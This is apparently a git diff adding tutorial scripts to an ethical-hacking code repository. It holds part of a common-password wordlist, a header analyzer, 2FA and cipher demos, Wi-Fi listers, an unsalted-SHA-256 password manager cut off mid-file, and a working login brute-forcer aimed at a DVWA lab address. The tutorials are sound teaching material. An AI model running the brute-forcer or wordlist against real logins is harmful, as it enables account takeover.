+pizzas
+chicks
+fossil
+beach
+telefono
+nanita
+kimerald
+wonderland
+fantastic
+josie
+lights
+987456321
+gordo
+escola
+beebee
+bitches1
+twins
+deandre
+smokie
+chicago1
+splash
+disneyland
+ibrahim
+teddybear1
+lovelygirl
+burberry
+ignacio
+test
+143444
+paixao
+camelia
+ramiro
+baby07
+jeffrey1
+456321
+snapple
+asasas
+gracey
+gorillaz
+TWEETY
+hello!
+memyselfandi
+kassie
+venus
+guzman
+pooper
+bluestar
+angel15
+hellothere
+happybunny
+nessa
+booty
+putangina
+toronto
+jamielee
+jehovah
+bunnyboo
+bigmama
+gogogo
+baby11
+crybaby
+joselito
+fresas
+Anthony
+element1
+sexy16
+joselyn
+monkey11
+xtreme
+babygal
+loraine
+kameron
+alonzo
+tomato
+lovehim
+chiquito
+suicide
+minina
+abegail
+1truelove
+alohomora
+fraser
+diamante
+rasta
+abigail1
+casino
+JOSHUA
+bhabycoh
+tucker1
+pandabear
+tracy
+hellow
+gavin
+nikolas
+computador
+lissette
+vernon
+blanco
+k123456
+wolfpack
+henderson
+a1234567
+baby01
+muneca
+giovanna
+edgardo
+queenbee
+jamila
+jesusislord
+magic1
+candys
+yankees2
+Danielle
+thelma
+anaconda
+roberts
+jarvis
+gerson
+powder
+chuchu
+dixie1
+blink
+hardrock
+damnit
+sexymama1
+sonny
+dottie
+ojitos
+anahi
+Jennifer
+lilkim
+horse1
+lucille
+godsmack
+jazzie
+smith
+JUNIOR
+angel07
+young1
+honest
+1029384756
+planet
+chinese
+hithere
+lamborghini
+Liverpool
+ESTRELLA
+soccer16
+western
+castle
+class08
+helloo
+smile123
+murder
+loveis
+deleon
+lobster
+784512
+japanese
+labrador
+yomomma
+seattle
+steve1
+ilovecats
+raymond1
+cutie123
+stephany
+monmon
+escorpio
+balong
+tanner1
+09876
+picasso
+university
+lloyd
+pacheco
+benjamin1
+foxylady
+julian1
+alex12
+carola
+chandra
+smithy
+stronger
+alfie
+lianne
+sabrina1
+redsox1
+universal
+jerson
+336699
+kitty123
+wrangler
+525252
+braveheart
+JESUS
+monserrat
+happyday
+JUSTIN
+shadmoss
+sandro
+disney1
+princess11
+rosalie
+roderick
+224466
+jerico
+nightwish
+spencer1
+carlito
+1a2b3c4d
+BRANDON
+cccccc
+888999
+angie1
+alemania
+angel23
+marques
+loved1
+preety
+celica
+harriet
+kendrick
+januari
+june23
+dolphins1
+campos
+micah
+sexyred
+isaiah1
+amerika
+......
+houston1
+tomcat
+crimson
+heavenly
+lacrimosa
+italian
+heyheyhey
+PRINCESA
+rabbits
+lilromeo
+lickme
+noelia
+sausage
+Tigger
+zxcvbnm1
+andre1
+trojans
+apache
+durango
+6543210
+spongecola
+123456c
+onelove1
+hotlips
+sandman
+super1
+milano
+andreina
+456654
+bigboy1
+steelers1
+honeyq
+bangbang
+nigger1
+newpassword
+badboy1
+miller1
+jokers
+teamomiamor
+matilde
+19841984
+dirtbike
+tigger12
+iuliana
+revolution
+FUCKYOU
+metallica1
+tekieromucho
+jonatan
+stewie
+eugenia
+summer05
+fantasia
+321456
+wertyu
+jellybeans
+empire
+june28
+1234554321
+speaker
+natali
+poetry
+thesims2
+bball1
+ventura
+abbie
+sexysexy
+muslim
+rosalinda
+soccer22
+holler
+spotty
+teodora
+bling
+janina
+denis
+chikis
+francisca
+212224236
+ferguson
+chevy1
+thursday
+rockets
+orlandobloom
+sweetypie
+sagitarius
+dixie
+2222222
+2sweet
+bonethugs
+passions
+wiggles
+heidi
+heroes
+jamal
+lingling
+juliocesar
+10203040
+j12345
+19881988
+yessica
+lokito
+beetle
+ladybird
+polarbear
+chance1
+newnew
+estrelinha
+01234567
+twisted
+brianne
+homer
+dreaming
+powell
+235689
+butterfly2
+sexkitten
+losangeles
+1234567a
+sexygal
+gidget
+blueblue
+brothers
+19951995
+koolkat
+nextel
+missie
+maryland
+piscis
+nathaly
+123456t
+samsung1
+soleil
+dogdog
+starfire
+october1
+crips
+1babygirl
+bouncer
+123456b
+jimmie
+westwood
+#1bitch
+rockandroll
+slamdunk
+brenda1
+michell
+lalaland
+hellohello
+edith
+fiona
+gogirl
+derick
+atlantis
+TIGGER
+sirenita
+love33
+phillips
+bollocks
+quiksilver
+keepout
+ihateyou1
+salman
+daryl
+playboy69
+leavemealone
+iloveluke
+44444444
+oxford
+darkstar
+consuelo
+camilita
+MIGUEL
+limpbizkit
+privacy
+petewentz
+sonic
+inferno
+gusanito
+golfer
+jayjay1
+princess01
+parrot
+ducky
+rasmus
+inlove1
+kookie
+biteme1
+karen1
+fernandes
+zipper
+smoking
+brujita
+toledo
+abcdef12345
\ No newline at end of file
diff --git a/ethical-hacking/http-security-headers/README.md b/ethical-hacking/http-security-headers/README.md
new file mode 100644
index 00000000..e0e7b1d0
--- /dev/null
+++ b/ethical-hacking/http-security-headers/README.md
@@ -0,0 +1,2 @@
+Grab your API key from Open Router:- https://openrouter.ai/
+Model is Used is  DeepSeek: DeepSeek V3.1 (free). However, feel free to try others. 
\ No newline at end of file
diff --git a/ethical-hacking/http-security-headers/http_security_headers.py b/ethical-hacking/http-security-headers/http_security_headers.py
new file mode 100644
index 00000000..67b494c4
--- /dev/null
+++ b/ethical-hacking/http-security-headers/http_security_headers.py
@@ -0,0 +1,149 @@
+#!/usr/bin/env python3
+import requests
+import json
+import os
+import argparse
+from typing import Dict, List, Tuple
+from openai import OpenAI
+
+class SecurityHeadersAnalyzer:
+    def __init__(self, api_key: str = None, base_url: str = None, model: str = None):
+        self.api_key = api_key or os.getenv('OPENROUTER_API_KEY') or os.getenv('OPENAI_API_KEY')
+        self.base_url = base_url or os.getenv('OPENROUTER_BASE_URL', 'https://openrouter.ai/api/v1')
+        self.model = model or os.getenv('LLM_MODEL', 'deepseek/deepseek-chat-v3.1:free')
+        
+        if not self.api_key:
+            raise ValueError("API key is required. Set OPENROUTER_API_KEY or provide --api-key")
+        
+        self.client = OpenAI(base_url=self.base_url, api_key=self.api_key)
+
+    def fetch_headers(self, url: str, timeout: int = 10) -> Tuple[Dict[str, str], int]:
+        """Fetch HTTP headers from URL"""
+        if not url.startswith(('http://', 'https://')):
+            url = 'https://' + url
+        
+        try:
+            response = requests.get(url, timeout=timeout, allow_redirects=True)
+            return dict(response.headers), response.status_code
+        except requests.exceptions.RequestException as e:
+            print(f"Error fetching {url}: {e}")
+            return {}, 0
+
+    def analyze_headers(self, url: str, headers: Dict[str, str], status_code: int) -> str:
+        """Analyze headers using LLM"""
+        prompt = f"""Analyze the HTTP security headers for {url} (Status: {status_code})
+
+Headers:
+{json.dumps(headers, indent=2)}
+
+Provide a comprehensive security analysis including:
+1. Security score (0-100) and overall assessment
+2. Critical security issues that need immediate attention
+3. Missing important security headers
+4. Analysis of existing security headers and their effectiveness
+5. Specific recommendations for improvement
+6. Potential security risks based on current configuration
+
+Focus on practical, actionable advice following current web security best practices. Please do not include ** and # 
+in the response except for specific references where necessary. use numbers, romans, alphabets instead Format the response well please. """
+
+        try:
+            completion = self.client.chat.completions.create(
+                model=self.model,
+                messages=[{"role": "user", "content": prompt}],
+                temperature=0.2
+            )
+            return completion.choices[0].message.content
+        except Exception as e:
+            return f"Analysis failed: {e}"
+
+    def analyze_url(https://github.com/self,%20url:%20str,%20timeout:%20int%20=%2010) -> Dict:
+        """Analyze a single URL"""
+        print(f"\nAnalyzing: {url}")
+        print("-" * 50)
+        
+        headers, status_code = self.fetch_headers(url, timeout)
+        if not headers:
+            return {"url": url, "error": "Failed to fetch headers"}
+        
+        print(f"Status Code: {status_code}")
+        print(f"\nHTTP Headers ({len(headers)} found):")
+        print("-" * 30)
+        for key, value in headers.items():
+            print(f"{key}: {value}")
+        
+        print(f"\nAnalyzing with AI...")
+        analysis = self.analyze_headers(url, headers, status_code)
+        
+        print("\nSECURITY ANALYSIS")
+        print("=" * 50)
+        print(analysis)
+        
+        return {
+            "url": url,
+            "status_code": status_code,
+            "headers_count": len(headers),
+            "analysis": analysis,
+            "raw_headers": headers
+        }
+
+    def analyze_multiple_urls(self, urls: List[str], timeout: int = 10) -> List[Dict]:
+        """Analyze multiple URLs"""
+        results = []
+        for i, url in enumerate(urls, 1):
+            print(f"\n[{i}/{len(urls)}]")
+            result = self.analyze_url(https://github.com/url,%20timeout)
+            results.append(result)
+        return results
+
+    def export_results(self, results: List[Dict], filename: str):
+        """Export results to JSON"""
+        with open(filename, 'w') as f:
+            json.dump(results, f, indent=2, ensure_ascii=False)
+        print(f"\nResults exported to: {filename}")
+
+def main():
+    parser = argparse.ArgumentParser(
+        description='Analyze HTTP security headers using AI',
+        formatter_class=argparse.RawDescriptionHelpFormatter,
+        epilog='''Examples:
+  python security_headers.py https://example.com
+  python security_headers.py example.com google.com
+  python security_headers.py example.com --export results.json
+  
+Environment Variables:
+  OPENROUTER_API_KEY - API key for OpenRouter
+  OPENAI_API_KEY     - API key for OpenAI
+  LLM_MODEL         - Model to use (default: deepseek/deepseek-chat-v3.1:free)'''
+    )
+    
+    parser.add_argument('urls', nargs='+', help='URLs to analyze')
+    parser.add_argument('--api-key', help='API key for LLM service')
+    parser.add_argument('--base-url', help='Base URL for LLM API')
+    parser.add_argument('--model', help='LLM model to use')
+    parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10s)')
+    parser.add_argument('--export', help='Export results to JSON file')
+    
+    args = parser.parse_args()
+    
+    try:
+        analyzer = SecurityHeadersAnalyzer(
+            api_key=args.api_key,
+            base_url=args.base_url,
+            model=args.model
+        )
+        
+        results = analyzer.analyze_multiple_urls(args.urls, args.timeout)
+        
+        if args.export:
+            analyzer.export_results(results, args.export)
+            
+    except ValueError as e:
+        print(f"Error: {e}")
+        return 1
+    except KeyboardInterrupt:
+        print("\nAnalysis interrupted by user")
+        return 1
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/ethical-hacking/http-security-headers/requirements.txt b/ethical-hacking/http-security-headers/requirements.txt
new file mode 100644
index 00000000..f0dd0aec
--- /dev/null
+++ b/ethical-hacking/http-security-headers/requirements.txt
@@ -0,0 +1 @@
+openai
\ No newline at end of file
diff --git a/ethical-hacking/implement-2fa/README.md b/ethical-hacking/implement-2fa/README.md
new file mode 100644
index 00000000..8bbdbaec
--- /dev/null
+++ b/ethical-hacking/implement-2fa/README.md
@@ -0,0 +1 @@
+# [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/implement-2fa/hotp.py b/ethical-hacking/implement-2fa/hotp.py
new file mode 100644
index 00000000..78cd60bd
--- /dev/null
+++ b/ethical-hacking/implement-2fa/hotp.py
@@ -0,0 +1,19 @@
+import pyotp
+
+# Set the key. A variable this time
+key = 'Muhammad'
+# Make a HMAC-based OTP
+hotp = pyotp.HOTP(key)
+
+# Print results
+print(hotp.at(0))
+print(hotp.at(1))
+print(hotp.at(2))
+print(hotp.at(3))
+
+# Set counter
+counter = 0
+for otp in range(4):
+    print(hotp.verify(input("Enter Code: "), counter))
+    counter += 1
+
diff --git a/ethical-hacking/implement-2fa/otp_qrcode_and_key.py b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py
new file mode 100644
index 00000000..f98c35f2
--- /dev/null
+++ b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py
@@ -0,0 +1,27 @@
+# Program 1: Generate and Save TOTP Key and QR Code
+import pyotp
+import qrcode
+
+
+def generate_otp_key():
+    # Generate a random key for TOTP authentication.
+    return pyotp.random_base32()
+
+
+def generate_qr_code(key, account_name, issuer_name):
+    # Generate a QR code for TOTP authentication.
+    uri = pyotp.totp.TOTP(key).provisioning_uri(name=account_name, issuer_name=issuer_name)
+    img = qrcode.make(uri)
+    img.save('totp_qr.png')
+    print("QR Code generated and saved as 'totp_qr.png'.")
+
+
+# Main code.
+# Generate user key.
+user_key = generate_otp_key()
+print("Your Two-Factor Authentication Key:", user_key)
+# Save key to a file for reference purposes
+with open('2fa.txt', 'w') as f:
+    f.write(user_key)
+# Generate QR Code.
+generate_qr_code(user_key, 'Muhammad', 'CodingFleet.com')
diff --git a/ethical-hacking/implement-2fa/otp_verification.py b/ethical-hacking/implement-2fa/otp_verification.py
new file mode 100644
index 00000000..03c1b51c
--- /dev/null
+++ b/ethical-hacking/implement-2fa/otp_verification.py
@@ -0,0 +1,19 @@
+# Program 2: Verify TOTP Code with Google Authenticator
+import pyotp
+
+
+def simulate_authentication(key):
+    # Simulate the process of authenticating with a TOTP code.
+    totp = pyotp.TOTP(key)
+    print("Enter the code from your Google Authenticator app to complete authentication.")
+    user_input = input("Enter Code: ")
+    if totp.verify(user_input):
+        print("Authentication successful!")
+    else:
+        print("Authentication failed. Please try again with the right key.")
+
+
+# Main Code
+# The key should be the same one generated and used to create the QR code in Program 1
+user_key = open("2fa.txt").read()  # Reading the key from the file generated in Program 1 (otp_qrcode_and_key.py)
+simulate_authentication(user_key)
diff --git a/ethical-hacking/implement-2fa/requirements.txt b/ethical-hacking/implement-2fa/requirements.txt
new file mode 100644
index 00000000..3026cbce
--- /dev/null
+++ b/ethical-hacking/implement-2fa/requirements.txt
@@ -0,0 +1,2 @@
+pyotp
+qrcode
\ No newline at end of file
diff --git a/ethical-hacking/implement-2fa/totp.py b/ethical-hacking/implement-2fa/totp.py
new file mode 100644
index 00000000..f67304db
--- /dev/null
+++ b/ethical-hacking/implement-2fa/totp.py
@@ -0,0 +1,14 @@
+import pyotp
+
+# Generate a random key. You can also set to a variable e.g key = "CodingFleet"
+key = pyotp.random_base32()
+# Make Time based OTPs from the key.
+totp = pyotp.TOTP(key)
+
+# Print current key.
+print(totp.now())
+
+# Enter OTP for verification
+input_code = input("Enter your OTP:")
+# Verify OTP
+print(totp.verify(input_code))
\ No newline at end of file
diff --git a/ethical-hacking/implement-affine-cipher/README.md b/ethical-hacking/implement-affine-cipher/README.md
new file mode 100644
index 00000000..bdf8ac39
--- /dev/null
+++ b/ethical-hacking/implement-affine-cipher/README.md
@@ -0,0 +1 @@
+# [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/implement-affine-cipher/affine_cipher.py b/ethical-hacking/implement-affine-cipher/affine_cipher.py
new file mode 100644
index 00000000..3d2c904a
--- /dev/null
+++ b/ethical-hacking/implement-affine-cipher/affine_cipher.py
@@ -0,0 +1,47 @@
+# Import necessary libraries.
+import string
+from colorama import init, Fore
+
+# Initialise colorama.
+init()
+
+
+# Function to perform Affine Cipher encryption.
+def affine_encryption(plaintext, a, b):
+    # Define the uppercase alphabet.
+    alphabet = string.ascii_uppercase
+    # Get the length of the alphabet
+    m = len(alphabet)
+    # Initialize an empty string to store the ciphertext.
+    ciphertext = ''
+
+    # Iterate through each character in the plaintext.
+    for char in plaintext:
+        # Check if the character is in the alphabet.
+        if char in alphabet:
+            # If it's an alphabet letter, encrypt it.
+            # Find the index of the character in the alphabet.
+            p = alphabet.index(char)
+            # Apply the encryption formula: (a * p + b) mod m.
+            c = (a * p + b) % m
+            # Append the encrypted character to the ciphertext.
+            ciphertext += alphabet[c]
+        else:
+            # If the character is not in the alphabet, keep it unchanged.
+            ciphertext += char
+
+    # Return the encrypted ciphertext.
+    return ciphertext
+
+
+# Define the plaintext and key components.
+plaintext = input(f"{Fore.GREEN}[?] Enter text to encrypt: ")
+a = 3
+b = 10
+
+# Call the affine_encrypt function with the specified parameters.
+encrypted_text = affine_encryption(plaintext, a, b)
+
+# Print the original plaintext, the key components, and the encrypted text.
+print(f"{Fore.MAGENTA}[+] Plaintext: {plaintext}")
+print(f"{Fore.GREEN}[+] Encrypted Text: {encrypted_text}")
diff --git a/ethical-hacking/implement-affine-cipher/requirements.txt b/ethical-hacking/implement-affine-cipher/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/implement-affine-cipher/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/implement-vigenere-cipher/README.md b/ethical-hacking/implement-vigenere-cipher/README.md
new file mode 100644
index 00000000..16a5b7bd
--- /dev/null
+++ b/ethical-hacking/implement-vigenere-cipher/README.md
@@ -0,0 +1 @@
+# [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/implement-vigenere-cipher/requirements.txt b/ethical-hacking/implement-vigenere-cipher/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/implement-vigenere-cipher/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py
new file mode 100644
index 00000000..52eef5da
--- /dev/null
+++ b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py
@@ -0,0 +1,88 @@
+# Import sys for system operations and colorama for colored output.
+import sys
+from colorama import init, Fore
+
+# Initialise colorama
+init()
+
+
+# Function to Encrypt using the Vigenère cipher.
+def vigenere_encrypt(plain_text, key):
+    encrypted_text = ''
+
+    # Repeat the key to match the length of the plaintext.
+    key_repeated = (key * (len(plain_text) // len(key))) + key[:len(plain_text) % len(key)]
+
+    # Iterate through each character in the plaintext.
+    for i in range(len(plain_text)):
+        # Check if the character is an alphabet letter.
+        if plain_text[i].isalpha():
+            # Calculate the shift based on the corresponding key letter.
+            shift = ord(key_repeated[i].upper()) - ord('A')
+
+            # Encrypt uppercase and lowercase letters separately.
+            if plain_text[i].isupper():
+                encrypted_text += chr((ord(plain_text[i]) + shift - ord('A')) % 26 + ord('A'))
+            else:
+                encrypted_text += chr((ord(plain_text[i]) + shift - ord('a')) % 26 + ord('a'))
+        else:
+            # If the character is not an alphabet letter, keep it unchanged.
+            encrypted_text += plain_text[i]
+
+    # Return the final encrypted text
+    return encrypted_text
+
+
+# Decryption function for the Vigenère cipher
+def vigenere_decrypt(cipher_text, key):
+    decrypted_text = ''
+
+    # Repeat the key to match the length of the ciphertext
+    key_repeated = (key * (len(cipher_text) // len(key))) + key[:len(cipher_text) % len(key)]
+
+    # Iterate through each character in the ciphertext
+    for i in range(len(cipher_text)):
+        # Check if the character is an alphabet letter
+        if cipher_text[i].isalpha():
+            # Calculate the shift based on the corresponding key letter
+            shift = ord(key_repeated[i].upper()) - ord('A')
+
+            # Decrypt uppercase and lowercase letters separately
+            if cipher_text[i].isupper():
+                decrypted_text += chr((ord(cipher_text[i]) - shift - ord('A')) % 26 + ord('A'))
+            else:
+                decrypted_text += chr((ord(cipher_text[i]) - shift - ord('a')) % 26 + ord('a'))
+        else:
+            # If the character is not an alphabet letter, keep it unchanged
+            decrypted_text += cipher_text[i]
+
+    # Return the final decrypted text
+    return decrypted_text
+
+
+key = "KEY"
+# Get user input (Message to encrypt).
+plaintext = input('[!] Enter your message: ')
+
+# Encrypt the plaintext using the Vigenère cipher
+cipher_text = vigenere_encrypt(plaintext, key)
+
+# Print the results
+print(f"[+] Plaintext: {plaintext}")
+print(f"{Fore.GREEN}[+] Ciphertext: {cipher_text}")
+
+# Ask if user wants to decrypt the message (just to see the functionality.)
+ask_to_decrypt = input('\n\n[?] Do you want to decrypt the message?\n[?] Y or N: ').lower()
+
+# If user wants to.
+if ask_to_decrypt == 'y':
+    # Decrypt the ciphertext back to the original plaintext.
+    decrypted_text = vigenere_decrypt(cipher_text, key)
+    print(f"{Fore.GREEN}[+] Decrypted text: {decrypted_text}")
+
+# If user does not want to.
+elif ask_to_decrypt == 'n':
+    sys.exit()
+# When an invalid input is entered.
+else:
+    print(f"{Fore.RED}[-] Invalid input.")
diff --git a/ethical-hacking/listing-wifi-networks/README.md b/ethical-hacking/listing-wifi-networks/README.md
new file mode 100644
index 00000000..3e9d37a5
--- /dev/null
+++ b/ethical-hacking/listing-wifi-networks/README.md
@@ -0,0 +1 @@
+# [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/listing-wifi-networks/open_networks_lister.py b/ethical-hacking/listing-wifi-networks/open_networks_lister.py
new file mode 100644
index 00000000..7b089fb8
--- /dev/null
+++ b/ethical-hacking/listing-wifi-networks/open_networks_lister.py
@@ -0,0 +1,88 @@
+import subprocess, platform, re
+from colorama import init, Fore
+
+init()
+
+
+def list_open_networks():
+    # Get the name of the operating system.
+    os_name = platform.system()
+
+    # Check if the OS is Windows.
+    if os_name == "Windows":
+        # Command to list Wi-Fi networks on Windows.
+        list_networks_command = 'netsh wlan show networks'
+        try:
+            # Execute the command and capture the output.
+            output = subprocess.check_output(list_networks_command, shell=True, text=True)
+            networks = []
+
+            # Parse the output to find open Wi-Fi networks.
+            for line in output.splitlines():
+                if "SSID" in line:
+                    # Extract the SSID (Wi-Fi network name).
+                    ssid = line.split(":")[1].strip()
+                elif "Authentication" in line and "Open" in line:
+                    # Check if the Wi-Fi network has open authentication.
+                    networks.append(ssid)
+
+            # Check if any open networks were found.
+            if len(networks) > 0:
+                # Print a message for open networks with colored output.
+                print(f'{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n')
+                for each_network in networks:
+                    print(f"{Fore.GREEN}[+] {each_network}")
+            else:
+                # Print a message if no open networks were found.
+                print(f"{Fore.RED}[-] No open wifi networks in range")
+
+        except subprocess.CalledProcessError as e:
+            # Handle any errors that occur during the execution of the command.
+            print(f"{Fore.RED}Error: {e}")
+            # Return an empty list to indicate that no networks were found.
+            return []
+
+    elif os_name == "Linux":
+        try:
+            # Run nmcli to list available Wi-Fi networks.
+            result = subprocess.run(["nmcli", "--fields", "SECURITY,SSID", "device", "wifi", "list"],
+                                    stdout=subprocess.PIPE,
+                                    text=True, check=True)
+
+            # Access the captured stdout.
+            output = result.stdout.strip()
+
+            # Define a regex pattern to capture SSID and Security.
+            pattern = re.compile(r'^(?P<security>[^\s]+)\s+(?P<ssid>.+)$', re.MULTILINE)
+
+            # Find all matches in the output.
+            matches = pattern.finditer(output)
+
+            # Skip the first match, which is the header.
+            next(matches, None)
+            print(f"{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n")
+            # Loop through all matches (results)
+            for match in matches:
+                security = match.group('security')
+                ssid = match.group('ssid')
+                full_match = f"{Fore.GREEN}[+] SSID: {ssid} -------> Security: {security}"
+                # Check if the indicator of an open network in our Full match (result).
+                if "Security: --" in full_match:
+                    print(f"{Fore.GREEN}[+] {ssid}")
+                else:
+                    print(f"{Fore.RED}[-] No open Wifi networks in range.")
+
+        except subprocess.CalledProcessError as e:
+            print(f"Error running nmcli: {e}")
+        except Exception as e:
+            print(f"An error occurred: {e}")
+
+    else:
+        print(f"{Fore.RED}Unsupported operating system.")
+        return []
+
+
+# Call the function.
+list_open_networks()
+
+
diff --git a/ethical-hacking/listing-wifi-networks/requirements.txt b/ethical-hacking/listing-wifi-networks/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/listing-wifi-networks/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py
new file mode 100644
index 00000000..5bed2c91
--- /dev/null
+++ b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py
@@ -0,0 +1,32 @@
+import subprocess, platform
+
+
+# Get the name of the operating system.
+os_name = platform.system()
+
+# Check if the OS is Windows.
+if os_name == "Windows":
+    # Command to list Wi-Fi networks on Windows using netsh.
+    list_networks_command = 'netsh wlan show networks'
+
+    # Execute the command and capture the result.
+    output = subprocess.check_output(list_networks_command, shell=True, text=True)
+
+    # Print the output, all networks in range.
+    print(output)
+
+# Check if the OS is Linux.
+elif os_name == "Linux":
+    # Command to list Wi-Fi networks on Linux using nmcli.
+    list_networks_command = "nmcli device wifi list"
+
+    # Execute the command and capture the output.
+    output = subprocess.check_output(list_networks_command, shell=True, text=True)
+
+    # Print the output, all networks in range.
+    print(output)
+
+# Handle unsupported operating systems.
+else:
+    # Print a message indicating that the OS is unsupported (Not Linux or Windows).
+    print("Unsupported OS")
diff --git a/ethical-hacking/login-password-guesser/README.md b/ethical-hacking/login-password-guesser/README.md
new file mode 100644
index 00000000..820e63f6
--- /dev/null
+++ b/ethical-hacking/login-password-guesser/README.md
@@ -0,0 +1 @@
+# [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/login-password-guesser/login_password_guesser.py b/ethical-hacking/login-password-guesser/login_password_guesser.py
new file mode 100644
index 00000000..1934a747
--- /dev/null
+++ b/ethical-hacking/login-password-guesser/login_password_guesser.py
@@ -0,0 +1,24 @@
+import requests, sys
+from colorama import Fore, init
+
+init()
+
+def guess_password(target_url, username, wordlist_path, action_type):
+   parameters = {"username": username, 'password': '', 'Login': action_type}  # Create a dictionary 'parameters' with username, empty password, and action_type.
+   # Open the file containing our wordlist 'rockyou.txt' for reading.
+   with open(wordlist_path, 'r') as word_list:
+       # Loop through each word in the wordlist.
+       for each_word in word_list:
+           word = each_word.strip()  # Remove whitespace from the word.
+           parameters['password'] = word  # Set the password parameter to the current word.
+           # Send an HTTP POST request to the target_url with the current 'parameters'.
+           output = requests.post(target_url, data=parameters)
+           # Check if the response content does not contain "Login failed".
+           if 'Login failed' not in output.content.decode('utf-8'):
+         # If the condition is met, print a success message with the found password.
+               print(f"{Fore.GREEN} [+] Password Found! >>> {word} ")
+               sys.exit()  # Exit the script.
+   # If no password is found after iterating through the wordlist, print a failure message.
+   print(f"{Fore.RED} [-] Password not found.")
+
+guess_password("http://192.168.134.129/dvwa/login.php", 'admin', 'C:\\Users\\muham\\Documents\\wordlists\\rockyou.txt', 'submit')
\ No newline at end of file
diff --git a/ethical-hacking/login-password-guesser/requirements.txt b/ethical-hacking/login-password-guesser/requirements.txt
new file mode 100644
index 00000000..9f404795
--- /dev/null
+++ b/ethical-hacking/login-password-guesser/requirements.txt
@@ -0,0 +1,2 @@
+colorama
+requests
\ No newline at end of file
diff --git a/ethical-hacking/password-manager/README.md b/ethical-hacking/password-manager/README.md
new file mode 100644
index 00000000..ec1aef1b
--- /dev/null
+++ b/ethical-hacking/password-manager/README.md
@@ -0,0 +1 @@
+# [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/password-manager/password_manager.py b/ethical-hacking/password-manager/password_manager.py
new file mode 100644
index 00000000..9b9ec184
--- /dev/null
+++ b/ethical-hacking/password-manager/password_manager.py
@@ -0,0 +1,204 @@
+import json, hashlib, getpass, os, pyperclip, sys
+from cryptography.fernet import Fernet
+
+
+# Function for Hashing the Master Password.
+def hash_password(password):
+    sha256 = hashlib.sha256()
+    sha256.update(password.encode())
+    return sha256.hexdigest()
+
+
+# Generate a secret key. This should be done only once as you'll see.
+def generate_key():
+    return Fernet.generate_key()
+
+
+# Initialize Fernet cipher with the provided key.
+def initialize_cipher(key):
+    return Fernet(key)
+
+
+# Function to encrypt a  password.
+def encrypt_password(cipher, password):
+    return cipher.encrypt(password.encode()).decode()
+
+
+# Function to decrypt a  password.
+def decrypt_password(cipher, encrypted_password):
+    return cipher.decrypt(encrypted_password.encode()).decode()
+
+
+# Function to register you.
+def register(username, master_password):
+    # Encrypt the master password before storing it
+    hashed_master_password = hash_password(master_password)
+    user_data = {'username': username, 'master_password': hashed_master_password}
+    file_name = 'user_data.json'
+
+    if os.path.exists(file_name) and os.path.getsize(file_name) == 0:
+        with open(file_name, 'w') as file:
+            json.dump(user_data, file)
+            print("\n[+] Registration complete!!\n")
+    else:
+        with open(file_name, 'x') as file:
+            json.dump(user_data, file)
+            print("\n[+] Registration complete!!\n")
+
+
+# Function to log you in.
+def login(username, entered_password):
+    try:
+        with open('user_data.json', 'r') as file:
+            user_data = json.load(file)
+
+        stored_password_hash = user_data.get('master_password')
+        entered_password_hash = hash_password(entered_password)
+
+        if entered_password_hash == stored_password_hash and username == user_data.get('username'):
+            print("\n[+] Login Successful..\n")
+        else:
+            print("\n[-] Invalid Login credentials. Please use the credentials you used to register.\n")
+            sys.exit()
+
+    except Exception:
+        print("\n[-] You have not registered. Please do that.\n")
+        sys.exit()
+
+
+# Function to view saved websites.
+def view_websites():
+    try:
+        with open('passwords.json', 'r') as data:
+            view = json.load(data)
+            print("\nWebsites you saved...\n")
+            for x in view:
+                print(x['website'])
+            print('\n')
+    except FileNotFoundError:
+        print("\n[-] You have not saved any passwords!\n")
+
+
+# Load or generate the encryption key.
+key_filename = 'encryption_key.key'
+if os.path.exists(key_filename):
+    with open(key_filename, 'rb') as key_file:
+        key = key_file.read()
+else:
+    key = generate_key()
+    with open(key_filename, 'wb') as key_file:
+        key_file.write(key)
+
+cipher = initialize_cipher(key)
+
+
+# Function to add (save password).
+def add_password(website, password):
+    # Check if passwords.json exists
+    if not os.path.exists('passwords.json'):
+        # If passwords.json doesn't exist, initialize it with an empty list
+        data = []
+    else:
+        # Load existing data from passwords.json
+        try:
+            with open('passwords.json', 'r') as file:
+                data = json.load(file)
+        except json.JSONDecodeError:
+            # Handle the case where passwords.json is empty or invalid JSON.
+            data = []
+
+    # Encrypt the password
+    encrypted_password = encrypt_password(cipher, password)
+
+    # Create a dictionary to store the website and password
+    password_entry = {'website': website, 'password': encrypted_password}
+    data.append(password_entry)
+
+    # Save the updated list back to passwords.json
+    with open('passwords.json', 'w') as file:
+        json.dump(data, file, indent=4)
+
+
+# Function to retrieve a saved password.
+def get_password(website):
+    # Check if passwords.json exists
+    if not os.path.exists('passwords.json'):
